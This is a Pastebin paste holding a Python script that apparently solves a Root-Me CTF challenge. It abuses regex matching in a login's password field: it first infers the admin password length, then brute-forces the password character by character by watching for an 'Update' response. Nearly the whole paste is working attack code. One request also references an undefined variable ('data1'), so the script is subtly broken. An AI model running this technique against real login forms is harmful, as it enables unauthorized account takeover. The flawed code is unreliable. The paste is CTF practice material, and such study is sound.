Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #! /usr/bin/python3
- import requests
- flag_len = 0
- headers = {'Host':'dev.root-me.local'}
- for j in range(128):
- ch = ".{"+str(j)+"}"
- data = {'usr_name':'admin' , 'usr_password':str(ch) }
- page = requests.get("http://ctf01.root-me.org/",headers=headers,data=data1).text
- if "Update" in page:
- flag_len = j
- print("\rFlag is {} long".format(flag_len), end="")
- else:
- break
- print()
- flag = ""
- for i in range(flag_len -1, -1, -1):
- for j in "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_-+ @":
- test = flag + j
- chaine= str(test)+".{"+str(i)+"}"
- data2 = {'usr_name':'admin' , 'usr_password':str(chaine)}
- page = requests.get("http://ctf01.root-me.org/",headers=headers,data=data2).text
- print("\rPassword is " + test, end="")
- if "Update" in page:
- flag+=j
- break
- print()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement